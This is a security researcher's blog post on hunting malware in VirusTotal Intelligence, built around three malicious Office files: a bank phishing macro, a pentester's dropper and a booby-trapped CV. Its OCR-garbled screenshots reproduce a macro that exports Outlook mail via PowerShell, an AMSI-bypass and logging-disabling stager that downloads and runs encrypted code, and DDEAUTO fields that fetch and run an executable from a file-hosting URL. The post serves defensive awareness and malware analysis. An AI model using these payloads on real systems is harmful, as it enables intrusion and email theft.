Threat Hunting with
VirusTotal

written by Mert SARICA | 1 August 2019

If you, like me, primarily use Twitter to stay updated on cybersecurity news
and follow cybersecurity researchers, you may have come across tweets from
security researchers such as Nick CARR from FireEye/Mandiant, Daniel
BOHANNON, or John LAMBERT from Microsoft. In their tweets, they sometimes
share new malware samples or discuss new techniques they discovered during
their threat hunting activities on VirusTotal.

After years of requesting from my friends with VirusTotal accounts to
download and send me interesting malware samples, I finally achieved a happy
ending in early 2018 by purchasing a corporate VirusTotal account for Akbank
Cyber Security Center. With a corporate account, as I mentioned in my blog
post titled “On the Trail,” you can not only track the activities of
cybercriminals but also become aware of cyber attacks targeting your
organization and stay informed about the tactics and techniques used by
cybercriminals.

Apart from cybercriminals, you can also come across files uploaded by
employees preparing for social engineering tests within their own
organization or penetration testing experts from cybersecurity consulting
firms attempting to bypass antivirus systems.

It is often overlooked that files uploaded to VirusTotal can be viewed and
downloaded by other members. This means that a sensitive file uploaded for
malware detection purposes can suddenly become visible to third parties. In
this article, I decided to provide guidance for those who want to conduct
threat hunting on VirusTotal and raise awareness of information security by
drawing attention to the points mentioned above.

When conducting threat hunting with VirusTotal Intelligence, we can leverage
more than 50 keywords. For example, let’s say we want to find records that
are uploaded from Turkey (submitter:TR), written in Turkish language
(lang:"turkish”), detected by more than 10 antivirus software (positives:10),
have a docx file type (type:docx), and were first uploaded in 2018
(fs:2018-01-01 TEO:00:00+). By using these keywords, we can quickly find
records that match these criteria. If we perform a similar search for xls,
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doc files, files containing PowerShell (tag:powershell), and files containing

macros (tag:macros), we will come across numerous examples for analysis in a

short time.

In one of the cases I encountered,

I discovered a malicious individual

creating a document containing macros to conduct a social engineering attack

against a bank. When analyzing the macro using the oletools and CyberChef

tools, I found that the executed macro sent copies of emails sent from

Microsoft Outlook to a command and control center using unencrypted HTTP

protocol with the help of PowerShell. By examining the file properties and

searching for it on VirusTotal (metadata), I learned that the file was likely

created by the bank’s audit team to perform a social engineering test rather

than by a malicious individual. :)
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Sammunity

DETEGTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY

Basic Properties © History ©
MD5 11821670a872982db805 e 117577 Creation Time ~ 2018-12-04 07:11:00
SHA1 1 12 First Submission  2018-12-04 14:41:25
SHA-256  d2be6d278ca 11719b8ec0f 1758963377F Last Submission  2018-12-04 14:41:25
SSDEEP  768:dliyAJbX/NaMeT7ep3HIXIZTPADDXZISZEPZH IUUINTIAIA LIYAIbPZET7e9HF TPADDILEZKNT] Last Analysis 2018-12-19 02:09.05
Filztype  MS Word Document

Magic GDF V2 Document, Littie Endian, Os: Windows, Version 6.2, Code page: 1254, Author. —

I (Teftis Kurulu), Template: Normal.dotm, Last Saved By (Teflis Kurulu), Revision

Number: 4, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create | yilbasi_cekils.doc
Time/Date: Mon Dec 03 07:11:00 2018, Last Saved Time/Date: Mon Dec 03 07:17:00 2018, Number of
Pages: 1, Number of Words: 76, Number of Gharaclers: 434, Security: 0

Filesize  57.5KB (58880 bytes)

OLE Compound File Info ©

ExifTool File Metadata @ Commonly Abused Properties

Seems to contain deobfuscation code.

AppVersion 14.0 Makes use of macros

Hifior Temis Kiri) /A May try to run other files, shell commands or applications,

CharCountWithSpaces 509 .

May enumerate open windows.
Characters 434
5 . @ May read system environment variables.

CodePage Windows Turkish

CompObjUserType Microsoft Word 97-2003 Document Macros And VBA Code Streams

CompObjUserTypeLen 32

ThisDocument.cls
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FileTypeExtension doc
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Hyperlinks Cittimage007 png@01D48814.1DCBC250 utor (Teftts Kurulu)
REEGERE T charactercount 434
Identification Word 8.0 code page Turkdsh
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| C:‘.Windows:_ n32 Lexe -

.

C:sUsers~Mert-Desktopsoletools—H.53.1%0letools>python olevha.py
cekilisi.doc

olevba B.53.1 — http:r~sdecalage.info-pythonsoletools

Flags Filename

OLE:=MAS-HB— _yilbasi cekilisi.doc

FILE: _ _yilbasi_cekilisi.doc
Type: OLE

UBA HHCRO ThisDocument.cls
_yilbasi_cekilisi.doc — OLE stream: u’'Macros/UBA-ThisDocument”

Option Explicit

Public strFilePath, strFileName Az String
Dim EmailCount As Variant

Private Sub Document_Open{)>

Dim obhjSelectedMail As Outlook.Mailltem
Dim objConverzation As Outlook.Conuversation
Dim obhjMail Az Outlook.Mailltem

Dim ohjFolder As MAFIFolder

Dim ohjNS As MNamespace

Dim EmailCount As Variant

Zet objNSs = GetNamespace<'MAFI'>
Set objFolder = objHNS.GetDefaultFolder{olFolderSentMaill

EmailCount = obhjFolder.Items.Count
ohjFolder.Items.Sort "CreationTime", True

On Error GoTo Err
Set ohjSelectedMail = objFolder.Items.Item{EmailGount>
If Not objSelectedMail Is MNothing Then GoTo Abc
Err:
On Error GoTo Err2
Set obhjSelectedMail = objFolder.Items.ltem{EmailCount — 1>
If Hot objSelectedMail Is Mothing Then GoTo Abc
Err2:
Set ohjSelectedMail = objFolder.Items.Iltem{EmailCount — 2)
If Hot objSelectedMail Is Mothing Then GoTo Abc
Ahbc =
Set obhjConverszation = objSelectedMail.GetConversation
If Not <objConversation Is Mothing?» Then
‘Get _all root items in this conversation
For Each obhjMail In ohjConversation.GetRootlItems

*strFileNMame = obhjMail.Subject

strFileMame = Environ<'Username™> & "' txt"
‘Remove the unsupported characters 1n jema
strFileName Replace{strFileName .
strFileName Replace{strFileName .
strFileName ReplaceCstrFileName . i
stprFileName Replace<{strFileName. “7".
strFileName Replace(strFileName. Chr{(34>, " ">

C:\Windows' em32\cmd exe

Call ProcessChildren<objMail. objConversation>
Next
End If

Dim C fAis Variant

Dim A As String

A = "C:\Windows‘system32:\Windows" & Chr(88)> & Chr(111)> & Chr{119> & Ch»(181)
& Chr(114> & Chr(83)> & Chr(184> & Chr(101)> & Chr(188> & Ch»(188)> & "wi1.8%\" &
hr¢112> & Chrd111> & Chr{119> & Chr{(181> & Chr<114> & Chr(115> & Chr{184> & Chr(
181> & Chr<188> & Chr{iB88> & Chr<{46> & Chr{181> & Chr(128> & Chr{i181>

C = Shell<n & " IERC[System.Text.Encodingl::Unicode.GetString{[8ystem.Conver
t1::FromBaseb4String(’ JABGAGKALAB1AFAAYGBBAGYATAAPACAAJwBDADoAXABUAHMAZQBYAHMARA
AnACsAJAB1IAG4AdgA6AFUAcwBlAHIATgBhAGBAZOArACcAXABEAGE AYwB1AGAAZGBuAH QA cwBeAGe AKy
AkAGUALgB2ADoAVQB=AGUAcgBOAGEADQB1ACsAJwAuAHQAe ABBACC AOWAgACQAVGBSAEWAT ARTACAA Ju|
BoAHQAAABwADoALuAvAH cAdwB3AC4AZwBhAHIAYQBUAHGAaQBuAHMAY QBuAGs AYQBSAGAAY QBrAGuAYQ

BAAGUAcwAPADsATAAKAGI AbwB1AGAAZABKAHI AeQAgADAATABbAFMAeQB=AHGAZQBt AC4ARWB1AGKAZA
BdADoACyBOAGUAdwBHAHUAAQBRKACA KQAUAFQAbwBTAHQACcgBpAGEAZE" &

"l oACKAOwAgACARJABMAEY ATAAYACANT gBgAH I AYABUACIAOWAGACARJABIAGEAZABSAEWA aQBy
AGUAcwAgNDBATAACACAATAAGACAATAAGACI ALGALACOAY gBuAHUAbgBKAGEACgBSACIALAAGACAA I ARy
ACAA L gBDAGBAbgBBAGUAbgBBACBARABpAHMAcABvAHMAAGBAAGKADwBUADoAI ABMAGEAcgBtACBAZABh
AHQAY QA ?ACAAbgBhAGBAZAA?AGAAI gBmAGKADABLAGAAL gA?ACAAZgBpAGWAZGBuAGEAbQB1ADBAYAA L
ACOAZGBuAHY A OgBUAHMAZQBYAE4AY QB AGUALgBBAHgAdABgACI AT gAsACAATARGACAA T gBDAGEAhyBA
AGUAbgBAACBAVABSAHAAZQAGACAARY GBwAHAADABpAGHMAY QBAA GkAbwBuACEAbwB jAH OAZOBBA CBA c wBH
AHIAZGBhAGBAJABMAEYAIgA=sACAATIAAGACAATANKAGY AaQBsAGUARQBuAGHALAAGACAAIAAGACAAIgAL
ACBAJABIAGRAJQBuAGOAY QByAHKALAAtACQATABGACIAIAAGACKAI AAtAGoAbuBpAGAATAAKAEWARgA Y|
ACAAIABJAGIAdgBuAG=AZQALtAFIAZQB=AHGATGR1AHQAaABuAGAA I AAtAFUIACcgBpACAAJABUAFIAT AN
ACBATGB1AHOGAaABuAGAA IABQAGEACcwBBACAALGBDAGR AbgBAAGUAbyBAAFGA:QBuAGUATAA iAGHAJGB=:
AHQAaGBuAGEACcgBBACBAZgBuAHIALAALAGRAYGBAAGEAOWAgAGI AbwBI1AGIAZABhAHIAQATAGAA I gAK
?ggﬂthé§G4HZHBhHHIHBQBQHCIHIgﬂgﬂCBﬂQgBuﬂGQﬂeQﬂgﬂCQﬂYgBuHGQHeQBHHGthgBlHHHHOwﬂ—

End Sub

Sub ProcessChildren<objCurMail Az Outlook.Mailltem. objCurConverszation As Ou
tlook.Conversationd

Dim objltems As Outlook.Simpleltems

Dim objltem As Outlook.Mailltem

Set obhjltems = objCurConversation.GetChildrenCobhjCurMaild

If objltems.Count > @ Then
For Each ohjltem In ohjltems

Environ{"Username"> & “.txt"
Replace(strFileName, "/". " ">
Replace(strFileName. ]
Replace{strFileName. B M)
Replace{strFileName,. "?". " "
Replace(strFileName. Chr(34) ALy

strFilePath "CislUsersh" & Environ("Username"> & "“Documents~" & str

strFileName
strFileName
strFileName
strFileName
strFileName
strFileName

FileName

obhjltem.S8aveAs strFilePath, olTXT




CAWindows\system3emd.

Dim objltems As Outlook.Simpleltems =
Dim objltem As Outlook.Mailltem
Set objltems = objCurConversation.GetChildren{obhjCurMail)
If objltems.Count > B Then
For Each ohjltem In objltems
strFileMame Environ{"Username"> & ".tx
strFileMame Replace<{strFileMame, "~
strFileMame Replace<strFileMame.
strFileMame Replace<strFileMame.
strFileName Replace{strFileMame. % Type Size o
strFileName Replace{strFileMame. Chr{34>, " "> =
Microsoft Word 9... 58 KB
strFilePath "GislUsersn' & Environ("Username'? & "“Documents“'" & str
FileName Text Document 3 KB
objlten.SaveAs steFilePath, olTAT Python File 15 KB
th il TEKB
*Processz all children recursively ro el 1 Ad
N Call ProcessChildren<objltem. objCurConversation? Python File 15 KB
ext
End If Python File 45 KB
End Sub = Python File 6 KE 3
__________________________________________________________________ Python File 12 KB
Description Python File 22 KB
——————————— —————— : : i o
AutoExec ! Document_Open | RBuns when the Word or Publiszher Compiled Python ... 22 Kb
i i document is opened Python Fil 14 KB
Suspicious | Chr i May attempt to obfuscate specific ython File i
i i strings C{use option ——deobf to Pyvthon File 13 KB
i | deobfuscatel ik )
Suspicious | Shell i May run an executabhle file or a system Python File 8 KB
i i command 2 ) -
Suspicious | Windouws i May enumerate application windows (if Python File 35 KB
i i combined with 8hell.Application ohject) . e T
Suspicious | Environ i May read system environment variables H el S
Suspicious | System i May run an executabhle file or a system Pyvthon File TKE
i i command on a Mac (if combined with i ' '
i i libe.dylib) Python File 179 KB
Suspicious | Hex Strings i Hex—encoded strings were detected. may s : ey
H ! be used to obfuscate strings {option Python File 178 KB
H i ——decode to see alld s b s e %
Suspicious | Basebd Strings | Basebd-encoded strings were detected.
H i may he used to obfuscate strings a tag
H i Coption ——decode to see all>
___________________________ e

=

From Base64 - CyberChef

d

C @ File | filey///C:/Users/Mert/Desktop/cyberchef.htm#recipe=From_Baseb4('A-Za-z0-9%2B/%3D" true)8linput=SkFCR... ¥¢ e :
Version 8.19.5s Last build: 3 days ago - New in v8: Automated encoding detection and simpl... Options a About / Support 0
Kecipe i == W start: 1786
rarki S48 length: 1269 R —
1 d: 1787 S P 1
Operations Input lengthi 3 lines: 2z ]

From Baseb64 i
JABGAGKAbABIAFAAY(QBRAGZATAASACAAJWBDADOAXABYAHMAZQBY AHMAXA

Alphabet AnACsAJABlAGAAdgABAFUACWBLAHIATEEhAGOAZQArACCAXABEAGBAYWB1AGBAZQ

A-Za-z08-9+/= BuAHQACWBCACCAKW
AkAGUAbgE2ADOAVOBZAGUACEBOAGEADQELACSATWAUAHDAABBACCAOWAEACQAVQ

BSAEWATAASACAATW

BoAHQAdABWADOAL wAVAHC AdWB3ACAAZWBhAHIAYQBUAHQAZQBUAHMAYQBUAGSAYQ

BSAGAAYQB rAGWAYQ

ByAGKALgBEjAGBAbQAVAHUACABSAGBAYQBKACAACABOAHAATWATACAATAAKAGYAGQ

BsAGUAQEBESAHQAZQ

BzACAAPQAgAF sAUWBSAHMAJABLAGEALEEB]AESALEBGAGKADAE1AFBAOZABAFIAZQ

BhAGQAQQBsAGWAQE

s BSAHQAZQEzACZAIABGAGKADABLAFAAYQBEBAGEAKQATACAATABMAGKADABLAEUADE

BACAAPQAZAF sAUW

*

Remove no

n-alphabet chars

sterEi L%4a £
From Hexdump DUtPUt '_er;;i:; LD“: o
$Fai e Piactche: =
o CLClr\Uls.elr.sohL " +.%.eanv. i LU.s e r.Noaam.e.+. LN LDLOCLu
m.e.n.t.s. Lt L+l$le.nav.iUls.e.r.N.a.m.e.+." 5 o e e
expression REUEREL. =
sichaEatz pasafiiowamew o .i.n.s.a.n.k.a.y.n.a.k.l.a.r
Entrop d...cooomfouep.lio.ad...p.hop.’l;. o L3.flillle.Buy.t.e.s.
Forl [.S.y.s.t.e.m...I.0...F.i.l.e.].:.:.R.e.a.d.A.1.1.B.y.t.e.s
R R e Prastehu)an: SefidMerEinues wsn @
Magic [.S.y.s.t.e.m...T.e.x.t...E.n.c.o.d.i.n.g.].:.:. G.e.t.E.n.c.o.d.
STEP — G B T - i [ Py A S - sSitarsiznag:
Data format Auto Bake (i%.f.i.1 elB.y. t.8.5 .o.u.n.d.a.r.y. .=
[.5.y.s.t.e.m...G.u.i .e.W.G.u.

==



When examining another example, the file named “aktivite20.docm,” I initially
thought that I came across a malicious document used in a social engineering
attack targeting a bank. Upon analyzing this well-crafted document, which was
gquite convincing in terms of persuasion, I discovered that it contained a
macro utilizing PowerShell. Upon analyzing the macro file, I found that it
disabled PowerShell script blocking and logging features when executed.
Similar to the previous example, when examining the file properties, I

learned that it was created by a penetration testing expert working as a

consultant for a cybersecurity firm. :)

£ aktivite-20.docm - Word = - x
Home Insert Design Layout References Mailings Review Q Tell me wt u want to Sign in ,q_ Share
= [=] outline Ruler 5 One Page '1 o=l
&5l B | - R il = = =
E = Draft Gridlines e Multiple Pages ] Synchronous Scralling : -
Read  Print  Web Zoom 100% MNew Arrange Split Switch Macros
Mode |Layout Layout +| MNavigation Pane €l Page Width Window: Al Reset Window Position | \Windows - -
Views Show Zoom Window Macros
1 SECURITY WARNING Macros have been disabled. Enable Content x
o MISSING PROOFING TOOLS  This document contains text in Turkish which isn't being proofed. Never Show Again X
Navigation it
Search document 0~
Headings Pages Results
Create an interactive outline of your istanbul, 07 Hagifan. 2018
document.
It's a great way to keep track of where you are Dékiimanin dogru sekilde acilmasi icin Macro kullammina izin vermeniz gerekmektedir.
or quickly move your content around.
To get started, go to the Home tab and apply Hatall Gln§ Kaydl
Heading styles to the headings in your
document.
Yeni bir cihaz ile Bank hesabiniza baglandiginiz tespit edilmistir, bu cihaz size ait degil ise asagidaki formu
doldurarak support@ .com.fr adresine gondermeniz gerekmektedir. Aksi durumda hesabiniz kaho olarak
kullamima kapatilacaktir.
4 3
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Debug

Run

Tools  Add-Ins  Window Help

K]S =% @ nzcolt H

Project - Project x| rﬂﬂﬁ?mﬁﬁm

] H IGeneraI}

« Auto_Open

(- &% Normal

&3 Project (Aktivite-20)

- (23 Microsoft Word Objects
-5 Modules

[-[] References

End Sub

Sub Auto_Open()
| GDil

End Sub

Sub AutoCpen()
GDiU

End Sub

Sub Document Cpen ()
GDiU

‘| m 3
Properties - NewMacros x|
NewMacros Module -

Alphabetic | Categorized

LUEWS) NewMacros

Dim
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf

Public Function GDiU() As Variant

zbf As String
"powershell -noP -sta -w 1 -enc SQBGACQAJABQAFMAVg™

zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf
zbf

+

B S S S ot S S S S S

"B1AHIAcWBpAGEAbgBUAGEAQEEMAGUALgBQAFMAVgB1AHIACWEI"
"AESAbgAuAEOAQQEKAGEATgRgACOARWE 1 ACAAMWADAHSAJABHAF"
"AARgAIAFsAUGBFAEYAXQAUAREAUWEzAGUALGBCAEWASQAUAECA™
"RQBUAFQAeQBWAEUAKAANAFMACQBzAHQAZQEtAC4ATQRNAGIAYQ"
"EnAGUABQB1AG4AdAAUAREAAQROAGEABQRhAHQAAQBVAGALLOBY™
"AHQA2(EsAHMATWADACAAT gBHAEUAJARGAGKARGBgAEWARAIACT
"gAJWE]AGEAYWBoAGUAZABHAHIAbWE 1 AHARUABRVAGWAaQE  AHKA™
"UwB1AHQAAABPAGAAZWBZACCALAANAR 4 ATwArACCAbWEUAFARAQ™
"BiAGwAa(Bj ACWATWEOAGE AdARPAGMA TwAPADSASQRGACOATARH"
"AFAARgApAHsAJARHAFARQWASLCOARWEQAE YALyBHAGUAAARWAE"
"EATABVAGUAKARKAE 4AVQBEsAEWARQATAEKAZgAOACQARWEQAEMA™
"HwAnAFMAYWBYAGKACABOAE TATWATrACCADABVAGMAaWEMAGERZW"
"EnAGkAbgBERACCAXQADAHS AJAEHAFARQWEbACCAUWEjAHIAaQEW"
"AHQAQUANACSAJWESAGEAYWRrAEWAbWBNAGCAaQBUAGCATWBAAF™
" s TWBFAG4AYQRI AGWAZQBTAGMACOBpAHARAARCACCARWANAGWA™
"bwB3AGsATABVAGCAZWBpAGAAZWANAFOAPQAWADSAJABHAFARGW™
"BbACCATWB] AHI AaQBwAHQAQGANACSATWEsAGEAYWErAEWAbwEDR ™
"AGohaQBuAGCATWRAAFsATWRFAGAAYQBRI AGWAZQBTAGMACGBRAH"
"AAAARCAGWALWE ] AGSASQRUAHYALWES AGEAJARpAGAALGEMAGEA"

al IF ($PSVersionTaBLe.PSVersIOn.MAJOR -Ge3)
2 {
3 $CPF=[REF] .ASsemBLy .GETTYpDE (' System.Management . Automation.Utils') . "GELFiE LD" (' cachedGroupPolicySettings', 'N'+'onPubl TR
4 IF ($GPF)
5 {
6 $CPC=§CPF. CetVALUe ($NULL) ;
7 tB'+' lockLogging'1)
8 {
9 lockLogging'] ['Enabl lockLogging'1=0;
10 'lockLogging']['Enable: vocationLogging']=0}
17 $VAL=[CO11ECtIONS.GEnEriC.DICTiOnar¥[STRIng,SySTeM.ObJect]] : tnEw () ;
12 SVAL.AdD('Enab kLogging',0) ;
13 $VAL.ADD('Enab tionLogging',0) ;
14 $GPC['HREY_LOCAL M s\Microsoft\Windows\Powershell B'+'lockLogging']=§val
15 } ELSe {
16 [ScriPTBLOCK] . "GELFIE 1d" ('signatures', 'N'+'onPublic,Static').SEtValuE ($null, (NEw-OBJeCT COLleCtions.GENerIc.HAShSet[stRiNG]))
17 }
18 [REf] .AsSEMbLY.GetTYpe ('System.Management.Automation.AmsiUtils') |2{$_}|%{$_.GETFIEld('amsiInitFailed', 'NonPublic,Static').SetVAlUs ($NuLL,$truE)};
19 ¥;

20 [SySTeM.Net . SErViCePOInTMAnAger] : :ExpecT100CoNtinuE=0;

21  $WC—NeW-OBJect SysTEM.Net.WebClIEnT;
. 64; Trident/7.0

22 Su='Mozilla/5.0 (Wind
23 $wc.HeADErs.ADD('Us

NT 6.

1y

Agent',$u);

24  $Wo.PRoxy—[SYstEm.NET.WEBRequesT] : : DeFaULtWEBProxy;

v:11.0) like Gecko';

25 $we . ProXy.CrEdeNtiALS = [SYSteM.NEt.CrEdeNTiaLCaCHE]::DEfauLTNeTWORKCrEdentIals;
26 $script:Proxy = $wc.Proxy;

27 $K=[SYstEm.TEXt.EnCOdiNg] : :ASCII.GETBYtes('1l_a ($NK; {u<P>sJWtcr x}glz0fL— &
28 B$R={

29 $D,SK=SARgsS;$S=0..255;0. %{$I=(ST+$S[S_1+SK[S_%SK.CounT]) %

30 $SI[S_1,8s[$J1=8s[$J],8S[S_1}

31 SDIE{$I=(SI+1)225¢; $H-(SH+$S[SI]) %256,

32 $S[SI1,$S[SHI=SS[$H],SSIST

33 $_-bXOR$S[($S[ST]+$S[$H]) %

34

<L i

36

37 , "session=Yhqj cpbKTOWN3kUZC1HCKB/ xQvo=") ;

38 $DatA=$WC.DOWnloadData (§seR+§t) ;

39 $iv=$DATA[0..3];
40 $daTa=$DaTa[<..§DAta.lenGtH];

41 |joIn[charll] (& $R $DATA ($IV+S$K)) |IEX
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Looking at the two examples above, we should not forget that uploading files
with malicious intent for penetration testing or social engineering tests to
VirusTotal can provide clues to malicious individuals regarding scenarios and
methods. It is also important to note that uploading a file to VirusTotal
before conducting a red team exercise can significantly impede its success.

In another example, “zarina cv.docx,” I came across a suspicious resume file.
Particularly in corporate environments, resumes that circulate between
individuals can lead to the compromise of an organization if they contain
malicious code and are sent to human resources employees via LinkedIn or
email without the necessary security controls and measures in place. After
opening the “zarina cv.docx” file with 7-Zip, I analyzed the “document.xml”
file located in the “word” folder and found a carefully placed DDEAUTO
command. The DDEAUTO command downloads a file named “final.exe” from the
mediafire.com address and executes it in the TEMP folder. Although I couldn’t
access the “final.exe” file as it was deleted, I could clearly see that the
same individual attempted to upload a similar file containing an internal IP
address to VirusTotal for antivirus scanning instead of mediafire. Based on
this example, I would like to emphasize the importance of HR departments

being extremely cautious when receiving resume files from candidates.
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1EDEAD = BE D B R

Hobiler</w:t></w:r><w:proofErr w:type="spellEnd"/><w:r w:rsidRPr="00BB4487"><w:rPr><w:b/><w:w w:val="105"/><w:sz
wival="19"/></w:rPr><w:tab/></w:r><w:proofErr w:type="spellStart"/><w:r><w:rPr><w:spacing w:val="2"/><w:w w:val=
"105"/><wisz wival="19"/></wirPry<w:c>Tiyatro</w:ts></wir><w:proofErr w:type="spellEnd"/></w:p><w:p Ww:i:rsidB=
"ODE117A1" w:r2idRDefault="0024013E" w:rsidP="00E117Al1"><w:pPr><w:pStyle w:val="HTMLncedenBiimlendirilmi"/><w:shd
w:val="clear" w:color="anto" w:fill="FFFFFF"/></w:pPr><w:r><w:lastRenderedPageBreak/><w:t xml:space="preserve">

</ Wit/ WiT><W:T W:rsidR="00E117A1"><w:fldChar w:fldCharType="begin"/></w:r><w:r w:r=idR="00E117A1" w:r=idRPr=
"ODE117A1"><w:rPri><w:color w:val="222222"/3><w:8z wW:val="24"/><w:s8zCs w:val="24"/></w:rPr><w:instrText xml:space=
"preserve"> DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden §e=(New-Object
System.Net.WebClient) . </w:instrText></wir><w:r W:rsidR="00E117A1" w:r=sidRPr="00E117A1"><w:in=stcrText xml:space=
"preserve"> </wi:instrText></w:r><w:r w:rsidR="00E11T7A1"><w:instrText xml:space="preserve">DownloadFile ("
http://downloadl078.mediafire. com/wt2jmdécfgvg/ginted4jodhcxnjd/final . .exe", '$TEMP$\final.exe') ;

</ WiINSTrTexts</Wir></Wip><w:p W:I3idR-"O0E117A1I™ w:rsidRDefault="00E117A1™ w:rsidP="00E117A1"><wW:pPr><w:pStyle
w:val="HTMLncedenBiimlendirilmi"/><w:shd w:val="clear" w:color="aunto" w:fill="FFFFFF"/></w:pPr><w:r><w:inscrText>
Start-Process "$TEMP%\final .exe"</w:instrText></wir></wips<w:p w:rsidRE="00E117A1" w:r=idRPr="0024013E"
w:rzidRDefault="00E117A1" w:rsidP="00E117Al1"><w:pPr><w:pStyle w:val="HTMLncedenBiimlendirilmi"/><w:shd w:val=
"clear" w:color="auto" w:fill="FFFFFF"/><w:rPrx><w:color w:val="222222"/><w:sz w:val="24"/><w:3zCs w:val="24"/>

</ WirPr></wipPr><w:r><w:instrText>ENTER</wW: instrText></w:r><w:r><w:fldChar w:fldCharTvpe="begin"/>
</wrrr<wir><wrinstrText xml:=space="preserve"> < /wiinstrText></wWw!r><w!r w:rsidRFr="0024013E"><w:rPr><w:color w:val=
"223322N sz wival="24"/><w:izzCs wWival="24"/></w:rPr><w:instrText>{ DDEAOTO c:\\Windows\\System32\\cmd.exe "/k
powershell .exe -NoP -sta -Nonl -W Hidden $Se=(New-Object System.Net.WebClient) .DownloadString/(
</wiinstrText></Wir><w:I WirsidRPr="00DT4280"><w;:rPr><w:color wival="222222"/><w;sz Wival="24"/><w:szCs wival="24"
Sx</wirPry<wiinstrText>"http: //downloadl078 .mediafire . com/wt2imdécfgvg/gOnte4jodhcxnjd/final .exe

', 'STEMPE\final .exe'</wiinstrText></wird><wir Wi rsidRPr="0024013E"><w:rPr><w:color wW:val="222222"/><yisz wival="24"
f><w:szCs wival="24"/></w:rPr><w:instrText>) ;powershell —e Se "}«</w:instrText></w:r></w:p><w:p w:rsidR="00E11T7A1"
W:rsidRPr="00E117Al1" w:rsidRDefault="00E117A1" w:rsidP="00E117Al1"><w:pPr><w:pStyle w:val="GvdeMetni"/><w:rPri><w:sz
Wival="20"/></W:irPry></wipPry<w:r><w:rPr><w: sz w:val="20"/></w:rPr><w:inscrText xml:space="preserve">
</wiinstrText></Wi r><wW:r><W:rPr><w: 3z w:val="20"/></w:rPr><w: f1dChar w:fldCharType="separate"/>
</Wirs><wir><w:rPr><w:b/><w:noProof/><w:sz w:val="20"/></w:rPr><w:instrText>!Beklenmeyen Formiil Sonu

</ wrinstrTexXt></Wwir><w:r><w:rPrr><w:sz w:val="20"/></w:rPr><w:fldChar w:fldCharType="end"/></w:r><w:r w:rsidRPr=
"ODE117A1"><w:rPrr><w:color w:val="222222"/><w:isz wW:val="24"/><w:32zC=s w:val="24"/></w:rPr><w:instrText>"
</wiinstrlext></w:r></w:p><w:p w:rsidR="00E117A1" w:rsidRDefault="00E117A1" w:rsidP="0024013E"><w:pPr><w:pStyle
wival="HTMLncedenBiimlendirilmi"/><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/></w:pPri><w:r><w:instrText
xml:space="preserve"> < /w:instrText></w:r><w:r><w:fldChar w:fldCharTvpe="end"/></w:r><w:bookmarkStart w:id="0"
w:name="_§oBack“f><w:bookmarkEnd Wiid="0"/></wip><w:p Ww:rsidR="0071316D" w:rsidRPr="00BB4487" w:rsidRDefault=
"0071316D"><w:pPrr<w:pStyle w:val="GvdeMetni"/><w:rPr><w:isz w:i:val="20"/></w:rPr></w:pPr></w:p><w:sectPr w:irsidR=
"0071316D" w:r2idRPr="00B84487" w:rsidSect="00B84487"><w:pgSz w:w="11900" w:h="16840"/><w:pgMar w:top="993" w:right
="560" w:bottom="0" w:left="0" w:header="708" w:footer="T08" w:gutter="0"/><w:cols w:space="T708"/>
</w:sectPr></w:body></w:document>

eXtensible Markup Language file length:38174 lines:2 Ln:2 Col:35471 Sel:0|0 Windows (CRLF)  UTF-8 INS
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A <?xml version="1.0" encoding="UTF-8" standalone="yes"??>

2 <w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="
http://schemas.openxml formats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office"
xmlnz:r="http: //schemas .openxml formats.org/officeDocument/2006/relationships" zxmlns:m="
http://schemas.openxml formats.org/officeDocument /2006 /math" zmln=:v="urn:schemas-microsoft-com:wvml" zmlns:wpl4="
http: //schemas.microsoft.com/office/word/2010/wordprocessingDrawing” =mlns:wp="
http://schemas.openxml formats. org/drawingml /2006 /wordprocessingDrawing” =mlns:wl0=
"nrn:schemas-microsoft-com: office:word" xmlns:w="http://schemas.openxml formats.org/wordprocessingml /2006/main"
=zmlns:wld="http://schemas.microsoft.com/office/word/2010/wordml" zmlns:wpg="
http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="
http://schemas.microsoft. com/office/word/2010/wordprocessingInk" xmlns:wne="
http://schemas.microsoft.com/office/word/2006/wordml"” xmlns:wpa="
http://schemas .microsoft. com/office/word/2010/wordprocessingShape” mco:Ignorable="wild wpld"><w:body><w:p wirsidR=
"ODEET123" w:rsidRPr="004B5990" w:rsidRDefault="004B5990"><w:pPr><w:rPr><w:lang w:val="tr-TR"/>
< /Wi rPr></wipPr><wir><w!:rPr><w:lang w:val="tr-TR"/></w:rPr><w:fldChar w:fldCharType="begin"/>
</ Wi r>Ewir><wirPra><w:lang w:val="tr-TR"/></wWirPr><w:instrText xml:szpace="prescrve"> </w:instrTeXt></W:r><w:r
W:rgidRPr="004B5990" ><w:rPrx><w:lang w:val="tr-TR"/></w:rPr><w:instrText>DDEAUTO
C: \\Programs\\Microsoft\\0ffice\\MSword. exe\\ . .\\..\\..\\. .\\windows\\system32\\mshta.exe "http://192.168.
</w:instrText></w:r><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/><w:r w:rsidRPr="004B5990"
><WirPr><w:lang w:val="tr-TR"/></w:rPr><w:instrText>162.129:8080/U4xAajpm"</w:instrTexXt>< /Wi r><w: r><w: rPr><w:lang
wival="tr-TR"/></W:rPr><w:fldChar w:fldCharType="separate"/></Wir><w:r><w:rPr><w:b/><w:noProof/>»<w:lang w:val="tr-TR"
</ rPry><w:t>1Beklenmeyen Form</w:t></wirr<w:r><w ! rPr><w:rFonts w:hint="e="/><w:b/><w:noProof/><w:lang w:val=
"tr-TR"/></wirPr><w: t>U</ Wi t>< /Wi r><w: r><w: rPra<wib/><winoProof/><w: lang w:val="tr-TR"/></w:rPr><w:t>1 Sonu
</Writr</Wwirs<wir><w:i rPr><w: lang w:val="tr-TR"/></w:rPr><w:fldChar w:fldCharTyvpe="end"/></w:r></w:p><w:sectPr w:rsidR=
